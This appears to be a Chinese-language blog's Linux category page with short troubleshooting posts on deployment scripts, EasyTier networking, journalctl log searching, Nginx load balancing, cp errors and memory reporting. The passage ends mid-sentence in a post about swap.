Showing Posts From

Linux

Shell 自动化部署脚本:git pull + pnpm build + cp

一个用于静态站点(如 Astro / Next.js)的最小化自动化部署脚本,适合 VPS 手动触发或配合 webhook 使用。 脚本 #!/bin/bash set -ecd /opt/black-no-dark git pull pnpm build cp -rf /opt/black-no-dark/dist/* /www/wwwroot/www.example.com/echo "更新成功!"各步骤说明 set -e:任何命令返回非零退出码时立即终止脚本,防止后续步骤在错误状态下继续执行。 git pull:拉取远程最新代码。若本地有未提交的修改会冲突报错,此时 set -e 会阻止继续构建。 pnpm build:构建静态产物到 dist/ 目录。构建失败(TS 错误、配置错误等)同样会终止。 cp -rf dist/* /web-root/:将新产物覆盖到 Web 服务器根目录。-r 递归,-f 强制覆盖。 使用方式 # 赋予执行权限(只需一次) chmod +x /opt/deploy.sh# 手动触发 /opt/deploy.sh# 或配合 webhook(如 github-webhook-handler)自动触发常见问题 git pull 报 "not a git repository":脚本中的 cd 路径写错,或目录没有 git init / git clone。 pnpm: command not found:部署环境没有安装 pnpm,或 PATH 不包含 pnpm 路径。解决: # 用绝对路径 /root/.local/share/pnpm/pnpm build# 或在脚本顶部加 export PATH="/root/.local/share/pnpm:$PATH"cp 覆盖时网站短暂不可用:对于零停机要求,可以先 cp 到临时目录,再 mv 替换: cp -rf dist/* /tmp/dist-new/ rsync -a --delete /tmp/dist-new/ /www/wwwroot/www.example.com/rsync 只同步差异文件,比整体 cp 更快,中断窗口更短。 扩展:加上日志和通知 #!/bin/bash set -eLOG=/var/log/deploy.log echo "[$(date '+%Y-%m-%d %H:%M:%S')] 开始部署" >> $LOGcd /opt/black-no-dark git pull >> $LOG 2>&1 pnpm build >> $LOG 2>&1 cp -rf dist/* /www/wwwroot/www.example.com/echo "[$(date '+%Y-%m-%d %H:%M:%S')] 部署成功" >> $LOG将 stdout / stderr 都重定向到日志文件,方便事后排查。

EasyTier 能 ping 通但 HTTP 不通:排查思路和解决方法

EasyTier 组网后能 ping 通对方,但 HTTP 访问失败——这是隧道已建立、应用层流量被拦截的典型现象。 快速定位(3 条命令) ① 客户端测试 TCP 连通性 curl -v http://对方EasyTierIP:端口Connection refused:网络通,服务没监听 Connection timed out:防火墙或路由拦截 返回 HTTP 内容:服务正常,排查客户端代理② 服务端抓包 sudo tcpdump -i tun0 tcp port 80同时客户端访问一次:抓包结果 结论看到 SYN 流量到了服务器,查服务监听或防火墙看不到 SYN 路由或 EasyTier 转发问题SYN 无 SYN-ACK 防火墙或服务未监听③ 查看监听端口 ss -lntp | grep -E ':80|:443|:8080'原因一:服务只监听 127.0.0.1(最常见) ss -lntp 看到 127.0.0.1:80,EasyTier 的 tun0 流量就无法到达服务。 修改方法: # uvicorn uvicorn main:app --host 0.0.0.0 --port 8000# nginx listen 0.0.0.0:80;# Node.js app.listen(80, '0.0.0.0')原因二:防火墙拦截 tun0 ping 用 ICMP,HTTP 用 TCP,如果防火墙只放行了 ICMP 或者对 EasyTier 网卡有限制: # 查看规则 sudo iptables -L -n sudo ufw status# 临时放行 tun0(测试用) sudo iptables -I INPUT -i tun0 -j ACCEPT sudo iptables -I FORWARD -i tun0 -j ACCEPT永久规则(以 ufw 为例): sudo ufw allow in on tun0原因三:Docker 端口绑定到 localhost docker ps如果看到 127.0.0.1:80->80/tcp,改成: docker run -p 80:80 ...原因四:服务绑定到特定网卡 IP 服务器有多个网卡(公网 IP + EasyTier IP),应用可能只绑到了公网 IP: ss -lntp | grep 8080如果看到 103.x.x.x:8080,需要改为 0.0.0.0:8080。 原因五:代理劫持 HTTP 流量 系统装了 Clash、sing-box 等,可能把内网 IP 的 HTTP 也走了代理: curl --noproxy '*' http://10.x.x.x如果这样能通,就是代理规则问题,把 EasyTier 网段加入 bypass 列表。 原因六:MTU 问题 现象:ping 小包正常,HTTP 建连后卡住或大文件下载失败。 ping -M do -s 1472 目标IP失败则把 EasyTier 网卡 MTU 调小: sudo ip link set tun0 mtu 1280EasyTier 配置自定义 IP 段 默认 dhcp = true 由网络中的 DHCP 节点分配 IP。如果要固定 IP: dhcp = false ipv4 = "10.88.0.2/24"如果加入的是他人的 EasyTier 网络,单方面改客户端配置通常不生效,需要整个网络统一规划地址段。 诊断工具速查 # 确认 EasyTier 接口和 IP ip addr show tun0# 确认路由(流量是否走 tun0) ip route | grep tun0# TCP 连通性测试 nc -vz 目标IP 80# 本机自测(服务端执行) curl -v http://127.0.0.1:80 curl -v http://tun0_IP:80

EasyTier 能 ping 通但 HTTP 访问不了:六种原因排查

现象 EasyTier 组网后:ping 10.126.126.x ✅ 成功 curl http://10.126.126.x ❌ 失败说明 EasyTier 隧道本身正常,问题在 TCP/应用层。 排查顺序 1. Web 服务只监听 127.0.0.1(最常见) ss -tlnp如果看到: 127.0.0.1:8080而不是: 0.0.0.0:8080说明服务拒绝来自 EasyTier 地址的连接。修复方式:服务 正确配置Nginx listen 0.0.0.0:80;Node.js app.listen(8080, '0.0.0.0')FastAPI/uvicorn uvicorn main:app --host 0.0.0.0Python http.server python -m http.server --bind 0.0.0.02. iptables 只放行了 ICMP,没放行 TCP sudo iptables -L -n sudo ufw status sudo firewall-cmd --list-all # CentOS临时放行 EasyTier 网卡: sudo iptables -I INPUT -i tun0 -j ACCEPT sudo iptables -I FORWARD -i tun0 -j ACCEPT如果 HTTP 立刻恢复,说明是防火墙问题,再添加永久规则。3. Docker 端口映射绑定到 127.0.0.1 docker ps如果端口映射是: 127.0.0.1:8080->8080/tcpEasyTier 无法访问。需要改为: docker run -p 8080:8080 ... # 正确 # 不要用 docker run -p 127.0.0.1:8080:8080 ...4. HTTP 请求被系统代理拦截 如果本机装了 Clash/V2Ray/sing-box: curl --noproxy '*' http://10.126.126.x如果加了 --noproxy 后能访问,说明代理规则把 EasyTier 内网地址错误地转发了出去。在代理工具里添加 10.0.0.0/8 为直连规则。5. MTU 问题 现象:ping 小包正常,HTTP 建连后卡住,大文件下载失败。 测试: ping -M do -s 1472 目标IP如果失败,降低 MTU: sudo ip link set tun0 mtu 12806. 路由未覆盖目标网段 ip route | grep tun0确认有类似: 10.126.126.0/24 dev tun0 proto kernel scope link src 10.126.126.1如果没有,HTTP 的 TCP 包会走默认网关出公网。 tcpdump 快速定位(推荐) 在服务端抓包: sudo tcpdump -i tun0 tcp port 80客户端发起请求后看结果:抓包结果 结论看到 SYN 包 流量到达服务端,问题是防火墙或服务监听地址看不到任何包 EasyTier 路由问题,或客户端代理拦截SYN 但没有 SYN-ACK 防火墙拦截(iptables DROP)SYN 后立即 RST 服务没在该端口监听配合 curl -v http://目标IP 看是 Connection refused 还是 Timeout,可以快速缩小问题范围。

读取 CPU 型号信息:Windows 注册表与 Linux /proc/cpuinfo 方法汇总

CPU 型号信息(如 12th Gen Intel(R) Core(TM) i5-12400)的唯一真实来源是 CPUID 指令,操作系统在启动时读取 CPUID 并将结果缓存到系统结构中,之后所有查询都从这份缓存中读取。 Windows:注册表路径 CPU 信息存放在: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0关键字段:键名 示例值ProcessorNameString 12th Gen Intel(R) Core(TM) i5-12400VendorIdentifier GenuineIntel~MHz 2500命令行查询: reg query "HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0"wmic 查询(更简洁): wmic cpu get name导出整个 CentralProcessor 分支: reg export "HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor" cpu.regregedit 图形界面: 导航到上述路径 → 右键 → 导出。 Python 读取注册表 import winregkey_path = r"HARDWARE\DESCRIPTION\System\CentralProcessor\0" key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, key_path)cpu_name, _ = winreg.QueryValueEx(key, "ProcessorNameString") vendor, _ = winreg.QueryValueEx(key, "VendorIdentifier") mhz, _ = winreg.QueryValueEx(key, "~MHz")print(cpu_name) # 12th Gen Intel(R) Core(TM) i5-12400Linux:/proc/cpuinfo cat /proc/cpuinfo | grep "model name" | head -1 # model name : 12th Gen Intel(R) Core(TM) i5-12400lscpu | grep "Model name" # Model name: 12th Gen Intel(R) Core(TM) i5-12400/proc/cpuinfo 是内核动态生成的虚拟文件,每次读取都从内核的 cpu_info 结构体生成,本质是 CPUID 的解析结果。 Python 读取: with open('/proc/cpuinfo') as f: for line in f: if line.startswith('model name'): print(line.split(':')[1].strip()) break注意:注册表信息可以被伪装 注册表里的 CPU 信息不是"唯一可信来源":虚拟机(VMware/VirtualBox/Hyper-V)可以在配置中修改 CPUID 返回值 驱动层可以拦截并修改 WMI 查询结果因此注册表/WMI 读取的 CPU 型号可能与物理 CPU 不一致,这是虚拟化平台的常见行为。 各方法对比方法 平台 特点wmic cpu get name Windows 最简单reg query Windows 可脚本化winreg (Python) Windows 程序读取lscpu Linux 格式化输出/proc/cpuinfo Linux 原始详情

GPU 租赁平台架构:Agent 节点管理、Docker 容器调度与供给冷启动

核心难点:供给而非技术 GPU 租赁平台最先需要解决的问题不是如何调度,而是为什么别人愿意把 GPU 挂到你的平台。供方需要确认:平台真的有租用需求,不会长期空跑 收益能覆盖电费和硬件损耗 提现流程可靠 机器不会被用于挖矿或违法用途Agent 节点管理(主流方案) Agent 是一个安装在供方机器上的后台进程,负责: 采集信息 ├── GPU 型号 / 显存 / 温度 ├── CPU 利用率 ├── 内存 / 硬盘 ├── 公网 IP / 带宽 ├── 在线状态 └── CUDA 版本 / 驱动版本上报到平台服务器 ↓ 控制台展示节点列表 ↓ 用户下单 → Agent 收到任务 → 启动容器Agent 还需要支持:开机自启、掉线重连、心跳保活、远程执行命令。 容器调度(Docker Worker) 大多数 GPU Marketplace 用 Docker 而非虚拟机: # 接单后自动执行 docker pull nvidia/cuda:12.0-base docker run \ --gpus all \ -p 30000:22 \ -d nvidia/cuda:12.0-base sleep infinity# 租户通过 SSH 接入 ssh user@node-ip -p 30000也可以直接暴露 Jupyter 或 ComfyUI 等界面,省去 SSH 配置。 Docker vs 虚拟机方案 优点 缺点Docker 启动快、开销小 隔离性略弱KVM/QEMU 安全隔离好 GPU 透传(PCI passthrough)配置复杂生产环境主流选 Docker,只有对安全隔离有严格要求的场景才考虑虚拟机。 闲置 GPU 共享(家用机) Agent 可以实现智能避让: def should_accept_task(): gpu_util = get_gpu_utilization() # nvidia-smi cpu_util = get_cpu_utilization() user_active = is_user_active() # 检测鼠标 / 键盘活动 return gpu_util < 10 and cpu_util < 10 and not user_active用户回来玩游戏时 Agent 自动暂停任务、释放 GPU。 计费与分润 用户支付租金 ↓ 平台抽成(通常 10~30%) ↓ 供方获得剩余收益平台抽成比例需要在"吸引供方"和"平台可持续"之间平衡。 冷启动策略 新平台面临先有鸡还是先有蛋的问题,推荐分阶段:先签稳定供方:找渲染农场、AI 创业团队、网吧(高配置机器)合作,保证第一批节点稳定在线 建控制台:展示节点状态、GPU 利用率、收益统计 实现任务调度:支持自动分配节点、启动 Docker 容器 最后开放市场:加入公开租用、计费、支付、评分系统每个阶段独立验证价值,避免同时解决供给、需求、调度、支付四个难题。

macOS 取消 SSH 钥匙串自动登录

ssh-add --apple-use-keychain ~/.ssh/id_rsa 做了两件事:把私钥加载到 ssh-agent,同时把 passphrase 保存到 macOS 钥匙串(Keychain)。取消时两者需要分别处理。 从 ssh-agent 移除密钥 查看当前已加载的密钥: ssh-add -l移除指定密钥: ssh-add -d ~/.ssh/id_rsa或移除全部: ssh-add -D这只影响当前 ssh-agent 会话,不会删除 Keychain 中保存的密码。 从钥匙串访问中删除 SSH 密码Command + Space 打开 Spotlight,搜索钥匙串访问(Keychain Access) 左侧选登录(Login) → 密码(Passwords) 搜索 SSH 或 id_rsa 找到 SSH: /Users/<你的用户名>/.ssh/id_rsa 右键 → 删除删除后再使用 SSH 时会重新要求输入 passphrase。 修改 ~/.ssh/config 禁用 UseKeychain 查看当前配置: cat ~/.ssh/config如果有以下内容,改为 no 或删除这两行: Host * UseKeychain yes AddKeysToAgent yes改为: Host * UseKeychain no AddKeysToAgent no完全恢复到手动输入密码 # 1. 移除 ssh-agent 中所有密钥 ssh-add -D# 2. Keychain Access 里删除 SSH 条目(GUI 操作)# 3. 修改 ~/.ssh/config,删除或禁用 UseKeychain / AddKeysToAgent完成后每次 SSH 连接都会提示输入 passphrase,不再自动使用钥匙串。 各操作作用范围操作 影响范围ssh-add -d 仅移除当前 ssh-agent 会话中的密钥Keychain Access 删除 删除保存的 passphrase,下次需重新输入UseKeychain no 阻止新的 SSH 会话向 Keychain 写入AddKeysToAgent no SSH 连接时不自动将密钥添加到 agent

Missing X server or $DISPLAY:无头环境跑浏览器的正确姿势

在服务器 / 容器里想跑 Chromium、Electron、Playwright,报错: [...] ozone_platform_x11.cc:259] Missing X server or $DISPLAY意思很直白——程序想弹 GUI,但当前环境没 X11 显示服务。三个典型场景。 场景一:SSH 到 Linux 服务器 SSH 登进去的 shell 默认没有桌面: ssh root@server google-chrome # 直接报 Missing X server两种解法: Headless 模式(首选) google-chrome --headless=new --disable-gpu --no-sandbox https://example.comPlaywright: browser = playwright.chromium.launch(headless=True)Puppeteer: const browser = await puppeteer.launch({ headless: true });非 headless 场景用 X11 转发 ssh -X root@server或用 -Y(信任模式,速度更快)。前提是本机有 X server(Mac 上是 XQuartz,Windows 上是 VcXsrv/X410)。 场景二:Docker 容器里 容器默认没 X server: $ echo $DISPLAY (空)首选还是 headless。要真的跑 GUI 就靠 Xvfb(虚拟帧缓冲): apt update && apt install -y xvfb xvfb-run -a chromium https://example.comxvfb-run 会在后台起一个虚拟 X server 让程序连。Playwright 官方镜像就自带这套。 如果显示环境变量已经写了 DISPLAY=:1,但仍然报错,那是因为 :1 对应的 X server 根本没起: ls /tmp/.X11-unix/看不到 X0 / X1 就是没启动。容器里手动 export DISPLAY=:1 是没用的——DISPLAY 只是"连哪个 X server",不会创建 X server。 场景三:WSL WSL2 现在原生支持 WSLg,一般不会碰到这错。老 WSL1 或者关了 WSLg 的话: export DISPLAY=:0 sudo apt install x11-apps xclock # 测试有没有 GUI再不行就装个 X server(Windows 上 VcXsrv / X410)。 快速判断清单 先看几个变量: echo $DISPLAY # 应该是 :0 或 :1 ls /tmp/.X11-unix/ # 应该有 X0 之类的 socket ps aux | grep -E 'Xorg|Xvfb' # 有 X server 进程在跑 hostname # 类似 6e6340e2e0d2 基本是容器 cat /proc/1/cgroup # 看到 docker 关键字 = 容器对号入座:现象 判断DISPLAY 空 没有桌面环境,用 headless 或 XvfbDISPLAY 有但 X11 socket 目录空 声明了但 X server 没起hostname 是短哈希 Docker 容器WSL 里 xclock 不动 WSL 侧 X server 没通一句话总结 服务器 / 容器跑浏览器,能 headless 就 headless,非要 GUI 上 Xvfb。 手动改 $DISPLAY 只是告诉客户端连哪儿,从来不会凭空生出一个 X server。

Linux journalctl 查询日志:时间范围、上下文与 grep 定位

syslog 日志格式没有年份 Nov 15 13:57:05 VM-0-8-centos spring_ruoyi_admin_jar: at org.springframework...Nov 15 13:57:05 只有月日时分秒,没有年份。如果是当前年度的历史日志,通常是前一年或当年的同月。 查看完整时间戳: journalctl -u spring_ruoyi_admin_jar -o short-iso输出带完整 ISO 时间: 2025-11-15T13:57:05+08:00 VM-0-8-centos spring_ruoyi_admin_jar: ...按时间范围查询 # 精确时间段 journalctl -u spring_ruoyi_admin_jar \ --since "2025-11-15 13:52:00" \ --until "2025-11-15 14:02:00"# 最近 10 分钟 journalctl -u spring_ruoyi_admin_jar --since "10 minutes ago"# 今天的日志 journalctl -u spring_ruoyi_admin_jar --since today查看最近 N 条 # 最近 50 条,带完整时间 journalctl -u spring_ruoyi_admin_jar -n 50 -o short-iso实时追踪(类似 tail -f) journalctl -u spring_ruoyi_admin_jar -f关键词上下文查询 查看匹配行前后各 50 行: journalctl -u spring_ruoyi_admin_jar -n 1000 | grep -C 50 "查询简单视图数据失败"-C 50 等价于 --context=50,显示匹配行前后各 50 行。 普通日志文件(非 systemd) grep -nC 快速查上下文 grep -nC 50 "查询简单视图数据失败" /opt/logs/app.log输出: 123400-2025-11-15 13:56:58 INFO ... ... 123450:2025-11-15 13:57:05 ERROR 查询简单视图数据失败 ... 123500-2025-11-15 13:57:12 INFO ...-n 显示行号,-C 50 前后各 50 行。 先找行号再打印范围 # 先找到行号 grep -n "查询简单视图数据失败" app.log # 123456:2025-11-15 13:57:05 ERROR 查询简单视图数据失败# 打印第 123400 到 123500 行 sed -n '123400,123500p' app.log多关键词过滤 有时候真正原因在后面的 Caused by: grep -nC 20 "Caused by" app.log | grep -A 10 "13:57"先找异常根因,再按时间过滤。 Docker 容器日志 # 按时间范围 docker logs --since "2025-11-15T13:52:00" --until "2025-11-15T14:02:00" 容器名# 最近 100 条 docker logs --tail 100 容器名# 实时 docker logs -f 容器名Spring Boot 应用常见排查流程先用 grep -n "ERROR" app.log 找所有错误行号 用 grep -nC 30 "Caused by" app.log 找根本原因 如果有 requestId/traceId,用 grep "traceId=xxx" app.log 找完整请求链路 对照时间和堆栈确认是 DB 异常、Redis 异常还是下游服务超时

Linux 日志时间解析:journalctl 查看完整时间戳

syslog 格式的日志默认不记录年份,看到 Nov 15 13:57:05 无法确认是哪一年。 显示完整年份(ISO 格式) journalctl -u your-service -o short-iso输出示例: 2025-11-15T13:57:05+08:00 hostname service: log message-o short-iso 输出 ISO 8601 格式,包含年份和时区。 按时间范围过滤 journalctl -u your-service \ --since "2025-11-15 13:52:00" \ --until "2025-11-15 14:02:00"查看最近 N 分钟: journalctl -u your-service --since "10 minutes ago"实时跟踪(类似 tail -f): journalctl -u your-service -f查找错误并显示上下文 已知有一条错误日志,想看前后发生了什么: # 找到行号 journalctl -u your-service | grep -n "错误关键字"# 查看前后 50 行 journalctl -u your-service -n 1000 | grep -C 50 "错误关键字"-C 50 = Context 50,显示匹配行前后各 50 行。 普通日志文件的上下文查询 日志在 /opt/logs/app.log: # 找到行号 grep -n "错误关键字" /opt/logs/app.log# 例如输出: 123456:错误关键字 # 查看附近 100 行 sed -n '123400,123500p' /opt/logs/app.log或者直接用 -C 参数: grep -nC 50 "错误关键字" /opt/logs/app.log定位 Java 服务的真实错误原因 Java 的 查询简单视图数据失败 这类消息通常只是表层日志,真正原因在下面的 Caused by:: # 先找到关键字附近 grep -C 100 "查询简单视图数据失败" app.log | grep "Caused by"常见真实原因:Caused by: java.sql.SQLException — SQL 执行失败 Caused by: org.springframework.data.redis.RedisConnectionFailureException — Redis 连接断开 Caused by: feign.RetryableException — 上游服务不可达找到 Caused by 后再针对异常类型排查。 大日志文件的搜索技巧 # 只看有关键字的行(不展示上下文) grep "关键字" /var/log/app.log | tail -20# 统计出现次数 grep -c "ERROR" /var/log/app.log# 按时间段提取(前提:日志每行以时间开头) awk '/2025-11-15 13:5[0-9]/' /var/log/app.logjournalctl 常用参数速查 journalctl -u <service> # 指定服务 journalctl -u <service> -n 100 # 最新 100 行 journalctl -u <service> -f # 实时跟踪 journalctl -u <service> -o short-iso # ISO 时间戳(含年份) journalctl -u <service> -p err # 只看 error 级别 journalctl --since "1 hour ago" # 最近 1 小时 journalctl --disk-usage # 日志占用磁盘 journalctl --vacuum-time=7d # 清理 7 天前日志

格式化后文件仍存在:USB Mass Storage Gadget 只读模式排查

现象描述 USB Mass Storage Gadget 格式化完后:旧文件还在 可以创建新文件、写入数据 删除文件提示成功,重插后文件又出现原因分类 1. 存储设备进入只读模式 U 盘、TF 卡、eMMC 出现坏块时控制器会自动切换为 Read-Only。表现为删除"成功"但重新挂载后文件复原。 Linux 排查: dmesg | grep -i readonly dmesg | grep -i "write protect"出现以下字样即确认只读: Write Protect is on switching to read-only mode mmcblk0: read only2. Gadget 镜像文件损坏 如果通过镜像文件方式挂载(echo /data/usb.img > lun/file),镜像内 FAT/exFAT 文件系统可能损坏: # 检查镜像文件系统 fsck.vfat usb.img # 或 dosfsck usb.img3. Windows 快速格式化未重建文件系统 Windows "快速格式化"只重写 FAT 表,不实际清除旧数据,旧文件仍可被恢复工具读取。 彻底解决方式: 磁盘管理 → 删除分区 → 新建分区 → 完整格式化(取消勾选"快速格式化")4. OverlayFS 层隔离(Android Root 环境) TrickyStore、KernelSU、Magisk 等工具可能挂载了 OverlayFS,删除的是上层(upperdir),底层(lowerdir)文件仍然存在,重挂载后又出现。 mount | grep overlay如有输出,需要先卸载 overlay 再操作底层文件系统。 5. NAND Flash 已损坏 最符合"能写入但删除无效"的情形:控制器接收了写入缓存但没有真正落盘,重插后旧数据回来。 验证方式: touch test.txt && sync rm test.txt && sync umount /dev/sdX && mount /dev/sdX /mnt ls /mnt/test.txt # 如果文件还在,基本确认存储介质损坏修复方法 U 盘 / TF 卡(Linux) # 用 diskpart 或 dd 低格 sudo dd if=/dev/zero of=/dev/sdX bs=1M status=progressU 盘 / TF 卡(Windows) 以管理员运行 CMD: diskpart list disk select disk N clean create partition primary format fs=fat32 quick assign exitAndroid/Linux 开发板 eMMC eMMC 只读后一般无法软件修复,需要更换存储模块或使用厂商专用刷机工具重新初始化 flash 控制器。 快速定位表现象 最可能原因删除后重插文件回来 NAND 只读 / OverlayFS格式化后旧文件可见但访问慢 快速格式化(未清除)fsck 报错 镜像文件 FAT 损坏dmesg 有 write protect 存储介质已进入只读保护

Nginx upstream 负载均衡配置:轮询、ip_hash、权重、least_conn 与 PHPStudy 位置问题

基本结构 upstream 定义后端服务器组,proxy_pass 引用该组名: upstream backend { server 192.168.1.10:8000; server 192.168.1.11:8000; server 192.168.1.12:8000; }server { location / { proxy_pass http://backend; # ... 其他 proxy 配置 } }四种均衡策略 轮询(默认):依次分配请求,适合无状态服务: upstream backend { server 192.168.1.10:8000; server 192.168.1.11:8000; }ip_hash:同一客户端 IP 固定打到同一台服务器,适合有 Session 的服务: upstream backend { ip_hash; server 192.168.1.10:8000; server 192.168.1.11:8000; }weight(加权轮询):按权重比例分配流量: upstream backend { server 192.168.1.10:8000 weight=4; server 192.168.1.11:8000 weight=2; server 192.168.1.12:8000 weight=1; }least_conn(最少连接):新请求优先分配给当前连接数最少的服务器,适合耗时不均匀的服务(如 AI 推理、文件处理): upstream backend { least_conn; server 192.168.1.10:8000; server 192.168.1.11:8000; }健康检查 max_fails 次失败后暂时摘除节点,fail_timeout 秒后重试: upstream backend { server 192.168.1.10:8000 max_fails=3 fail_timeout=30s; server 192.168.1.11:8000 max_fails=3 fail_timeout=30s; }错误:upstream directive is not allowed here [emerg] "upstream" directive is not allowed here in vhosts/xxx.conf:24原因:upstream 只能放在 http {} 块内,不能放在 server {} 或 location {} 内。 PHPStudy 等面板生成的 vhosts 文件是 server {} 块,不能在里面定义 upstream。 解决方案:在主 nginx.conf 的 http {} 块中定义: # nginx.conf http { upstream backend { server 192.168.1.10:8000; server 192.168.1.11:8000; } include vhosts/*.conf; # vhosts 文件只包含 server{} 块 }配置验证与重载 nginx -t # 检查配置语法 nginx -s reload # 平滑重载(不中断现有连接)

Nginx 反向代理改造成负载均衡:踩坑与正确写法

原本站点是这样的反向代理: location / { proxy_pass http://192.168.5.31:8000; proxy_set_header Host $host:$server_port; proxy_set_header X-Real-IP $remote_addr; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; }后端加机器了,要改成负载均衡。看着简单,但一路踩了两个坑。 步骤一:定义 upstream 轮询模式最简单: upstream backend { server 192.168.5.31:8000; server 192.168.5.32:8000; server 192.168.5.33:8000; }location 里的 proxy_pass 改成: proxy_pass http://backend;三种策略怎么选 WebSocket / 长连接:ip_hash 同一个客户端 IP 固定打到同一台机器,session 不会乱: upstream backend { ip_hash; server 192.168.5.31:8000; server 192.168.5.32:8000; }机器性能不同:weight upstream backend { server 192.168.5.31:8000 weight=4; server 192.168.5.32:8000 weight=2; server 192.168.5.33:8000 weight=1; }流量大致按 57% / 29% / 14% 分。 AI 推理、长请求:least_conn 轮询在这种场景很糟糕——某台机器可能同时挤了 5 个几十秒的推理请求,其他机器闲着。least_conn 会挑当前连接数最少的: upstream backend { least_conn; server 192.168.5.31:8000; server 192.168.5.32:8000; server 192.168.5.33:8000; }顺手加个健康检查,挂了的自动摘除: server 192.168.5.31:8000 max_fails=3 fail_timeout=30s;坑一:upstream directive is not allowed here 改完 reload,直接报: nginx: [emerg] "upstream" directive is not allowed here in D:\phpstudy_pro\Extensions\Nginx1.15.11/conf/vhosts/127.0.0.1_8000.conf:24upstream 只能写在 http {} 块里,不能写进 server {} 或 location {}。而 PHPStudy 类面板的 vhost 文件通常等价于一个 server 配置片段,里面就不能定义 upstream。 正确做法:把 upstream backend {...} 挪进主 nginx.conf 的 http {} 里,vhost 文件里只放 location。 # nginx.conf http { upstream backend { least_conn; server 192.168.5.31:8000; server 192.168.5.32:8000; } include vhosts/*.conf; }坑二:proxy_pass 少了协议头 写成: proxy_pass backend;Nginx 会直接报语法错误。proxy_pass 必须带上 http:// 或 https://: proxy_pass http://backend;检查与重载 nginx -t # 语法检查 nginx -s reload # 平滑重载一句话总结 upstream 放 http {}、proxy_pass 别忘 http://、AI/长任务优先 least_conn。三点一起做好,反代改负载均衡基本一次成。

cp 报错 cannot overwrite non-directory:目录被同名文件占位

某次要把 pojie/ 目录复制进 wpa-dictionary/ 里,cp 一直报错: $ cp -r pojie/ wpa-dictionary/pojie cp: cannot overwrite non-directory 'wpa-dictionary/pojie' with directory 'pojie/'$ cp -r pojie wpa-dictionary/ cp: cannot overwrite non-directory 'wpa-dictionary/pojie' with directory 'pojie'$ cp -f pojie wpa-dictionary/ cp: -r not specified; omitting directory 'pojie'问题原因 这个报错不是 cp 参数写错了,而是 目标路径 wpa-dictionary/pojie 已经存在一个普通文件,cp 不允许用目录去覆盖一个非目录。 先用 ls -l 确认: $ ls -l wpa-dictionary/pojie -rw-r--r-- 1 root root 1234 Jun 15 10:00 wpa-dictionary/pojie看到开头是 - 说明它是普通文件。而你想执行的 cp -r pojie wpa-dictionary/ 实际上等于 cp -r pojie wpa-dictionary/pojie——目标名字已经被文件占了。 三种处理方式 方案一:删除同名文件 如果目标位置那个文件本来就没用,直接删掉再复制: rm -f wpa-dictionary/pojie cp -r pojie wpa-dictionary/方案二:换个目标名 不想删旧文件的话,改个新名字: cp -r pojie wpa-dictionary/pojie_new方案三:先看清目录结构 用 tree 看一眼当前目录状态,避免以后再踩: tree -L 2 .或者两条 ls -ld 直接对比属性: ls -ld pojie ls -ld wpa-dictionary/pojie看到一个是 d 开头(目录)、一个是 - 开头(文件),就知道冲突在哪里了。 一句话总结 cp: cannot overwrite non-directory = 目标位置已被同名普通文件占位。要么删掉旧文件,要么换个目标名。

Linux cp 报错 cannot overwrite non-directory with directory:原因和解决方法

cp -r pojie/ wpa-dictionary/pojie # cp: cannot overwrite non-directory 'wpa-dictionary/pojie' with directory 'pojie/'这个错误不是 cp 参数写错,而是目标路径 wpa-dictionary/pojie 已经存在一个普通文件,不是目录。 诊断 ls -ld wpa-dictionary/pojie如果输出以 - 开头,说明是普通文件: -rw-r--r-- 1 root root 1234 Jun 15 wpa-dictionary/pojie如果是目录会以 d 开头: drwxr-xr-x 2 root root 4096 Jun 15 wpa-dictionary/pojie解决方案 方案 1:删除目标文件后再复制 rm -f wpa-dictionary/pojie cp -r pojie wpa-dictionary/方案 2:复制到不同名称 cp -r pojie wpa-dictionary/pojie_backup方案 3:先移动目标文件 mv wpa-dictionary/pojie wpa-dictionary/pojie.bak cp -r pojie wpa-dictionary/cp 目录行为说明 cp -r src dst 的行为取决于 dst 是否存在:目标是否存在 行为dst 不存在 把 src 复制为 dst(改名)dst 是目录 把 src 整体放进 dst/srcdst 是普通文件 报错:cannot overwrite non-directory例如: # 目标目录 backup/ 不存在 cp -r project/ backup/ # 结果:backup/ 就是 project/ 的副本# 目标目录 backup/ 已存在 cp -r project/ backup/ # 结果:backup/project/(嵌套了一层)注意末尾斜杠的影响:cp -r pojie/ dst 和 cp -r pojie dst 行为可能不同(前者复制内容,后者复制整个目录)。 rsync 作为替代 目录同步推荐用 rsync,语义更清晰,且支持增量更新: # 把 pojie/ 的内容同步到 wpa-dictionary/pojie/ rsync -av pojie/ wpa-dictionary/pojie/# 只复制新文件,跳过已存在的 rsync -av --ignore-existing pojie/ wpa-dictionary/pojie/# 删除目标中源没有的文件(镜像同步) rsync -av --delete pojie/ wpa-dictionary/pojie/rsync 在处理已存在目标时不会报上面的错误,会直接合并或覆盖。

看 free -h 别只盯 free 那列:available 才是真

服务器一查内存: $ free -h total used free shared buff/cache available Mem: 14Gi 10Gi 146Mi 0.0Ki 4.2Gi 4.1Gi Swap: 0B 0B 0B看到 free: 146Mi 就觉得"内存要爆了"——不对,Linux 从来不闲着,它会把空闲内存拿去做各种缓存。 各列到底是什么列 含义total 总内存used 已被进程占用free 完全空闲,谁都没在用(少不代表不好)shared tmpfs / shared memory 占用buff/cache 内核用作 page cache / dentry 缓存available 实际还能分配给程序的内存(这个才是真)关键:buff/cache 是弹性的——一旦有程序需要内存,内核会立刻回收 cache 让出来。所以真正衡量"还剩多少"的指标是 available,不是 free。 上面例子里 available = 4.1Gi,说明还能舒服再开 4G 内存的程序,没问题。 buff/cache 具体缓存什么Page cache:读过的文件内容缓存在内存里,下次读同一文件秒回 Dentry cache:目录项缓存,让 ls / find 之类操作更快 Inode cache:文件元数据(大小、时间戳)缓存 Buffers:块设备 IO 缓冲这些都是性能加速——把内存"用起来"总比闲着好。 手动清 cache 极少用得上,但知道一下: sync # 先把脏页刷盘 echo 3 > /proc/sys/vm/drop_caches # 清所有 cache1 = 清 page cache 2 = 清 dentry + inode 3 = 全清清完 free -h 里 free 会瞬间变大——但系统 IO 性能会立刻下降,因为所有文件读要重新从磁盘拉。生产上除非做基准测试,不然不要清。 Swap = 0 的风险 上面的例子 Swap: 0B。开 swap 有一个好处:内存暂时不够时,把不活跃页面换到磁盘,避免 OOM Killer 杀进程。 没 swap 